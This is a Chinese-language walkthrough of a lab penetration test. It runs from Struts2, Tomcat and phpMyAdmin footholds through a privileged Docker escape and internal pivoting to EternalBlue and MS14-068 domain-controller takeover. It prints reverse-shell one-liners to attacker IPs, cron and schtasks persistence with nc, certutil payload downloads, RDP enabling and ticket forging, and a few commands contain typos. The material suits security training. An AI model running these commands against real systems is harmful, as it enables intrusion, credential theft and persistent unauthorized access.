信息收集
netdiscover
的主机发现部分不再详解,通过访问端口得知20001-2003端口都为web端口,所以优先考虑从此方向下手
外网渗透
GetShell
Struct漏洞
访问2001端口后,插件Wappalyzer爬取得知这是一个基于Struct的web站点,直接考虑struct工具,一把梭
发现struct2漏洞,无法完整获得webshell,只有一个RCE权限,这里可以采用这种方法:
在revshell.com上生成一句话shell,ehco到文件中,然后使用bash执行,比如
0<&150-;exec 150<>/dev/tcp/192.168.253.174/4546;sh <&150 >&150 2>&150
表示向192.168.253.174的4546端口反射shell
python -c 'import pty;pty.spwn("/bin/bash")'
一下子,就可以拿到root权限的shell了
Tomcat RCE
直接searchsploit,但是下载到EXP之后利用起来有点困难
tomcat的利用方式有时候有些奇怪,因为写入的webshell可能不在发布目录
绝对路径是在usr/local/tomcat/webapps/ROOT/
然而shell显示的路径在/usr/local/tomcat
所以一定要找好上传的webshell位置
phpMyAdmin
2003端口浏览器打开后发现是一个无需登录的phpMyAdmin管理站点
这个利用方式相对困难,不能使用脚本一把梭
拿到一个SQL权限我会考虑两种技术:
-
secure_file_priv
-
general_log
但是发现这里的用户权限较低,无法打开日志功能,第二种方法失败:
且无法写出文件,第一种方法失败:
所以这里应考虑CVE,查看phpMyAdmin版本,搜索对应版本漏洞
发现 cve-2018-12613
,好嘛,本地文件包含!但是当我设置好路径exploit时,却发现:
无法拿到系统的shell,后来我使用wireshark抓包分析才发现,原来msf会进行一次 POST
登录操作,而这里的PMA根本就不用登录,所以才会有这样的一个失败,因此只能手工利用,在这里我参考了
小白也可以看懂的漏洞分析(CVE-2018-12613)_Sisyphus」的博客-CSDN博客
这条文章,这里采用了一种先通过控制台查询SQL在session文件写入一句话马,然后再包含利用的方式,我也复现:
那么接下来要包含的文件就是/tmp
目录下,以sess_
开头pma结尾的文件了:
成功!接下来直接用蚁剑连接就完成:
Docker逃逸
进入系统后,要检查是否在虚拟机,或者在Docker中,Docker检查方法如下:docker环境下存在:ls -alh /.dockerenv
文件,所以检查是否存在该文件即可
docker逃逸就是从当前docke权限中逃逸出来,获得宿主机的权限。
相关知识点:(27条消息) 生命在于学习——docker逃逸_易水哲的博客-CSDN博客
这里的话,搜索文档以及大佬经验得知在特权情况下的docker可以挂载到物理机中,且该靶场只有2002的tomcat端口存在特权模式,所以只能用该方式逃逸
$ mkdir /tmp/rootdir
$ mount /dev/sda1 /tmp/rootdir
$ cd /tmp/rootdir
这样的话,就成功的进入到了宿主机器的根目录中,且权限为root
拿宿主机Shell
SSH密钥登录
那么我们可以考虑使用ssh-keygen
生成密钥对,将公钥置于/root/.ssh/authorized_keys
中(权限修改为只读chmod 400 *),然后使用ssh远程连接
计划任务反弹shell(*)
在计划任务里写入一个bash反弹shell的脚本:
cd /tmp
echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.157.130/8888 0>&1" >> shell.sh
chmod +x shell.sh写入crontab计划任务,表示每隔1分钟以root权限执行一次计划
然后用Kali监听即可nc -lp 8888
至此,我们成功的拿下了第一台主机web
内网渗透
信息收集
分析网络环境,经典双网卡
搭建socks隧道
使用scp
或者Python的http服务将ew上传到/tmp/hack
目录,一定要改名!一定要改名!一定要改名!不然执行命令时会很麻烦
scp用法:
上传到远程192.168.2.105的/root/lab/test目录:
scp -r /opt/test root@192.168.253.132:/root/lab/test
-r代表目录,如果上传普通文件则去掉参数-r
下载到本地:
scp root@vps:/root/lab/info.txt ./info.txt
这里还是使用ew,功能丰富,体积小,全平台兼容,可以搭建socks(端口转发)还可以端口映射
root@ubuntu:~/hack# ./ew -s ssocksd -l 3001&
[1] 124548
root@ubuntu:~/hack# ssocksd 0.0.0.0:3001 <--[10000 usec]--> socks server
存活探测
这里可以使用一个简单的小脚本,采用ping的方式探测
这个脚本可以说是万能脚本,用的时候注意修改网段
#!/bin/bash
for i in `seq 255`
do{
ping -c 2 192.168.183.$i > /dev/null
if [ $? -eq 0 ];then
echo 192.168.183.$i is ok >> ip.txt
fi
}&
done
然后可以查看ip.txt查看那些主机存活
192.168.183.1 is ok//物理机
192.168.183.129 is ok
192.168.183.130 is ok
192.168.183.128 is ok//web机器
那么就可以对.129
和.130
这两台机器进行测试
永恒之蓝(稳)
对于MSF框架而言,本身就集成了代理模式,所以我们可以使用其代理进行内网渗透:
msf6> set Proxies socks5:192.168.253.132:3001
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> set payload windows/meterpreter/bind_tcp
msf6> set rhost 192.168.183.129
一定要使用正向shell!反向Shell无论如何都不会成功因为目标是在内网环境
然后就会经历漫长的等待。。。和失败。。。多打几次的话就会出现奇迹
最后会拿到一个meterpreter会话,但是可能是由于隧道原因,会非常不稳定!
所以我再拿到shell之后,迅速的打开了一个shell会话,使用certutil
下载了提前部署在web上用python http.servernc.exe
,然后使用schtasks
,每分钟执行一次监听的正向shell:
schtasks /create /tn bindshell /sc minute /mo 1 /tr "nc -lp 4000 -e cmd" /ru system /f
然后就可以用web上的nc,获取到稳定的shell会话啦(可以映射到本地)
注,certutil
的一些使用方法:
编码(base64)
命令:certutil -encode test.txt encode.txt
编码(十六进制)
命令:certutil -encodehex test.txt encode2.txt
散列
获取数据并传递固定长度的输出字符串。使用哈希加密算法,例如MD5,SHA-1,SHA-256,可以验证两个文件是否相同。该校验和用于执行检查的散列值的数据完整性,这是一种文件签名。通过比较校验和,我们可以识别重复文件。
命令:certutil -hashfile生成指定哈希值,例如:
certutil -hashfile test.txt md5(生成md5)
下载
命令:certutil.exe -urlcache -split -f http://服务器ip:8000/xss.js
至此,我们就已经非常稳定地获得了第二个主机shell权限,且为高权限
当然,这里保险的方法是用 反弹Shlle,然后在跳板机上使用端口映射到本地,例如:nc VPS_IP 4444 -e cmd
,这样就算目标机器打开了防火墙,也仍然可以接受到 shell 会话。
然后我会选择改掉 administrator
账户的密码为Dotest123(这是在靶场环境,如果是真实环境,应该进行权限维持,例如影子账户,粘滞键shell等)
坎坷&踩坑&疑惑点
因为中间有事,所以拿域控的任务我是过了好久才继续进行的,然后当我过了一个月之后再次打开我的 Vmware 开始拿域控时,出现了各种乱七八糟的错误,例如net time /domain
时抛异常,IPC连接失败,Mimikatz
获取凭证乱码:
Mimikatz 乱码:
我将猕猴桃上传之后,尝试一波 sekurlsa::logonpasswords
却发现:
其一,无法找到域用户,其二,获取的凭证密码有些是已经被加密的,但仍然存在本地用户(先不考虑其是否可以正常登录)
账户登录出现问题:
于是我打算直接用获取到的本地账户登录机器查看原因,却发现:
通过WriteUp发现一组域账户信息:
demo\douser
Dotest123
尝试登录发现如下错误:
解决方法:
这个问题我去问了大名鼎鼎的 Chat-GPT
,他给出的解释是这样的:
所以我在命令行中新建了一个本地高权限用户,然后登录了本地机器重新加入了一下域,之后就一切正常啦,mimi也可以抓得到域用户凭证信息了
我觉得原因是因为太长时间不登陆,所以两台机器时间不一致,导致了域信任关系丢失,重新加入一下域即可。对于mimi抓不到抓乱码我觉得可能是因为机器账户(在每一个加入域的计算机中都有一个以“ **计算机名+$
**“ 结尾的账户)的原因,抓不到域用户就是因为信任丢失的原因,所以本地也不存在域的凭证了(这里都是本人推理出来的,网上搜索说法不一,欢迎大佬共同讨论~)
拿下域控:
在问题解决之后,继续进行了渗透:
信息收集:
域控定位,由于只有129,130两个机器,而且129已被拿下,所以猜测130就是域控:
接下来我喜欢打开目标的3389端口,然后在桌面上进行操作
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
#打开3389端口
net localgroup "Remote Desktop Users" demo\douser /add
#给域用户添加登录权限
然后就可以开开心心的使用远程登录啦
我们拿到的是普通域用户权限,应该查看一下域控:
管理员:
MS14-068提升域用户权限:
我们这里拿到了一个域用户权限之后可以提取出有用的信息,如SID,口令,用户名,域全名等,因此可以利用ms14-068工具生成票据然后利用mimikatz导入:
ms14-068.exe -u douser@demo.com -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1103 -d WIN-ENS2VR5TR3N.demo.com
注意这里一定要使用DC的全名:WIN-ENS2VR5TR3N@demo.com
否则生成会生成错误:
这里是正确的结果:
然后用mimikatz导入
当显示这个效果的时候证明票据导入成功,此时我们可以使用 psexec
进行连接,
成功!至此,我们终于拿下了域控机器
修改管理员密码,登录DC
接下来还可以进行一些维权操作,当然,由于本次演示环境是靶场,便不再进行维权和痕迹清理
总结
本次靶场环境外网渗透相对比较简单顺利,且解题思路不止一种。通过三种方式都可以getshell,重要的是如何逃逸docker拿到宿主机的shell
内网环境除了拿域控稍有难度外,其他操作也是思路紧凑,合情合理,不过由于是内网渗透,所以牵扯到的知识点可能更多,更杂乱,但是总体不算难,多一些耐心还是可以成功的。这次内网渗透强化了我对kerberos的一些认识,大有收获。